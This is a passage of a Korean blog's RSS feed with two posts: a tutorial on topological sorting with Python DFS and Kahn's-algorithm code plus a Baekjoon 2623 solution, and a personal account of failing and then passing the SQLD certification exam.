      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;코딩 테스트가 끝나고 사람들 후기를 보는데 위상 정렬로 풀면 금방 풀리는 문제였다고 하는데 위상정렬이란 뭘까?&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;위상정렬(Topological Sorting) 개념&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;정의:&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위상정렬은 방향 그래프(DAG, Directed Acyclic Graph)에서 사용되는 정렬 방법으로,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모든 간선 (u &amp;rarr; v)에 대해 &lt;b&gt;u가 v보다 먼저 나오도록 정렬&lt;/b&gt;하는 것을 말한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, &lt;b&gt;선행 관계가 있는 작업들을 순서대로 나열&lt;/b&gt;할 때 사용한다. (A작업을 한 뒤 B를 수행할 수 있다와 같은 유형)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;조건:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;반드시 사이클 없는 방향 그래프(DAG)이어야 한다.&lt;/li&gt;
&lt;li&gt;사이클이 있으면 위상정렬이 불가능하다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예시:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;dns&quot;&gt;&lt;code&gt;A &amp;rarr; B &amp;rarr; C
A &amp;rarr; D
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가능한 위상정렬: A, B, D, C 또는 A, D, B, C&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;- 관련 문제&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.acmicpc.net/problem/2252&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://www.acmicpc.net/problem/2252&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.acmicpc.net/problem/2623&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://www.acmicpc.net/problem/2623&lt;/a&gt;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;구현 방법&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;(1) DFS 기반&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;방문하지 않은 노드에서 DFS 수행&lt;/li&gt;
&lt;li&gt;DFS 탐색이 끝난 노드를 스택에 넣음&lt;/li&gt;
&lt;li&gt;스택을 뒤집으면 위상정렬 순서&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;장점:&lt;/b&gt; 구현 간단&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;단점:&lt;/b&gt; 사이클 검사 추가 필요&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;(2) Kahn 알고리즘(BFS 기반)&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;모든 노드의 &lt;b&gt;진입 차수(in-degree)&lt;/b&gt; 계산&lt;/li&gt;
&lt;li&gt;진입 차수가 0인 노드를 큐에 넣음&lt;/li&gt;
&lt;li&gt;큐에서 노드를 하나씩 빼면서 결과에 추가, 연결된 노드의 진입 차수 1 감소&lt;/li&gt;
&lt;li&gt;진입 차수가 0이 된 노드를 큐에 넣음&lt;/li&gt;
&lt;li&gt;모든 노드 처리 후 결과 출력&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;장점:&lt;/b&gt; 사이클이 있는지 쉽게 체크 가능&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;✅ 파이썬 구현 예제&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;(A) DFS 기반&lt;/h3&gt;
&lt;pre class=&quot;python&quot; data-ke-language=&quot;python&quot;&gt;&lt;code&gt;def topological_sort_dfs(graph):
    visited = set()
    stack = []

    def dfs(node):
        visited.add(node)
        for neighbor in graph[node]:
            if neighbor not in visited:
                dfs(neighbor)
        stack.append(node)

    for node in graph:
        if node not in visited:
            dfs(node)

    return stack[::-1]  # 뒤집어서 반환

# 예제 그래프
graph = {
    'A': ['B', 'D'],
    'B': ['C'],
    'C': [],
    'D': ['C']
}

print(topological_sort_dfs(graph))&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;(B) Kahn 알고리즘(BFS 기반) ⭐&lt;/h3&gt;
&lt;pre class=&quot;python&quot; data-ke-language=&quot;python&quot;&gt;&lt;code&gt;#장점: 사이클 검출 가능
from collections import deque

def topological_sort_kahn(graph):
    in_degree = {u: 0 for u in graph}  # 진입차수 초기화
    for u in graph:
        for v in graph[u]:
            in_degree[v] += 1

    queue = deque([u for u in graph if in_degree[u] == 0])
    result = []

    while queue:
        node = queue.popleft()
        result.append(node)
        for neighbor in graph[node]:
            in_degree[neighbor] -= 1
            if in_degree[neighbor] == 0:
                queue.append(neighbor)

    if len(result) != len(graph):
        return &quot;Cycle detected!&quot;
    return result

# 예제 그래프
graph = {
    'A': ['B', 'D'],
    'B': ['C'],
    'C': [],
    'D': ['C']
}

print(topological_sort_kahn(graph))
#['A', 'B', 'D', 'C']&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;✅ DFS와 BFS 모두 결과는 가능한 위상정렬 중 하나를 반환한다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;문제 풀어보기!&lt;/h4&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;백준 2623번: 음악프로그램 &lt;span style=&quot;color: #f3c000;&quot;&gt;&lt;b&gt;Gold3&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1472&quot; data-origin-height=&quot;693&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/3IHJn/dJMb9NaHXXX/raYwKif5CRO3xphtnJBUE0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/3IHJn/dJMb9NaHXXX/raYwKif5CRO3xphtnJBUE0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/3IHJn/dJMb9NaHXXX/raYwKif5CRO3xphtnJBUE0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F3IHJn%2FdJMb9NaHXXX%2FraYwKif5CRO3xphtnJBUE0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1472&quot; height=&quot;693&quot; data-origin-width=&quot;1472&quot; data-origin-height=&quot;693&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1760608196664&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import sys
from collections import deque
input = sys.stdin.readline
n, m = map(int, input().split()) #가수, 보조 PD
singers = {i:[] for i in range(1, n+1)}
in_degree = {i:0 for i in range(1, n+1)}
for _ in range(m):
    seq = list(map(int, input().split()))
    for i in range(1, seq[0]):
        singers[seq[i]].append(seq[i+1])
        in_degree[seq[i+1]] += 1
q = deque([u for u in in_degree if in_degree[u]==0])
rst = []
while q:
    now = q.popleft()
    rst.append(now)
    for nxt in singers[now]:
        in_degree[nxt] -= 1
        if in_degree[nxt] == 0:
            q.append(nxt)
if len(rst) != n: print(0) #불가능한 경우는 cycle
else:
    for r in rst:
        print(r)&lt;/code&gt;&lt;/pre&gt;</description>
      <category>IT/알고리즘</category>
      <category>알고리즘</category>
      <category>위상정렬</category>
      <category>파이썬</category>
      <author>와잉</author>
      <guid isPermaLink="true">https://intioib.tistory.com/18</guid>
      <comments>https://intioib.tistory.com/18#entry18comment</comments>
      <pubDate>Thu, 16 Oct 2025 18:53:29 +0900</pubDate>
    </item>
    <item>
      <title>2025 SQLD 자격증 후기</title>
      <link>https://intioib.tistory.com/17</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;첫번째 SQLD 시험!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쉽다는 말을 들었기에 솔직히 공부를 열심히 하지는 않았고, 노랭이 조금 + 요약본만 보고 시험을 쳤다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 프로그래머스에서 SQL 코테 연습했던걸 너무 믿었었다 ........&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;601&quot; data-origin-height=&quot;288&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ZkIo4/btsPS0wKnZZ/zEHd782rvfGNsf0wibru30/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ZkIo4/btsPS0wKnZZ/zEHd782rvfGNsf0wibru30/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ZkIo4/btsPS0wKnZZ/zEHd782rvfGNsf0wibru30/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FZkIo4%2FbtsPS0wKnZZ%2FzEHd782rvfGNsf0wibru30%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;482&quot; height=&quot;231&quot; data-origin-width=&quot;601&quot; data-origin-height=&quot;288&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;합격!! 일 줄 알았으나 불합격이었다 ㅎㅎ  &lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기억상 square, roll up 에 대해서 많이 나왔던 것 같은데 그 부분을 충분히 공부하지 않았었고, &lt;b&gt;떨어진 가장 큰 이유&lt;/b&gt;는 1과목 내용을 충분히 암기하지 않았던 게 컸던 것 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 SQLD 2트 공부한 방법 !&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 노랭이는 다 풀고, 그 다음에 체크를 할 겸 아래의 사이트에서 틈틈이 문제도 풀어줬다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 이번에도 꿈꾸는 라이언 핵심 요약집을 구매해서 시험장 들어갈 때까지 봐줬다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://ht-frontend-eight.vercel.app/home&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://ht-frontend-eight.vercel.app/home&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1755168292712&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;https://ht-frontend-eight.vercel.app/login?nextUrl=%2Fhome&quot; data-og-description=&quot;언제 어디서나 자격증 문제풀이 연습!&quot; data-og-host=&quot;ht-frontend-eight.vercel.app&quot; data-og-source-url=&quot;https://ht-frontend-eight.vercel.app/home&quot; data-og-url=&quot;https://ht-frontend-eight.vercel.app/login?nextUrl=%2Fhome&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://ht-frontend-eight.vercel.app/home&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://ht-frontend-eight.vercel.app/home&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;https://ht-frontend-eight.vercel.app/login?nextUrl=%2Fhome&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;언제 어디서나 자격증 문제풀이 연습!&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;ht-frontend-eight.vercel.app&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결과는 합격!!&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;606&quot; data-origin-height=&quot;277&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bmNwAS/btsPV3EYYPD/HabN2KJFX6u2GNqQCMzsWK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bmNwAS/btsPV3EYYPD/HabN2KJFX6u2GNqQCMzsWK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bmNwAS/btsPV3EYYPD/HabN2KJFX6u2GNqQCMzsWK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbmNwAS%2FbtsPV3EYYPD%2FHabN2KJFX6u2GNqQCMzsWK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;549&quot; height=&quot;251&quot; data-origin-width=&quot;606&quot; data-origin-height=&quot;277&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쉽다고 만만하게 보지 말고ㅠ 1과목은 거의 다 맞출 정도로 공부하고 가는게 좋을 것 같다.&lt;/p&gt;</description>
      <category>IT/자격증</category>
      <category>SQLD</category>
      <category>자격증</category>
      <author>와잉</author>
      <guid isPermaLink="true">https://intioib.tistory.com/17</guid>
      <comments>https://intioib.tistory.com/17#entry17comment</comments>
      <pubDate>Fri, 15 Aug 2025 15:04:14 +0900</pubDate>
    </item>
  </channel>
</rss>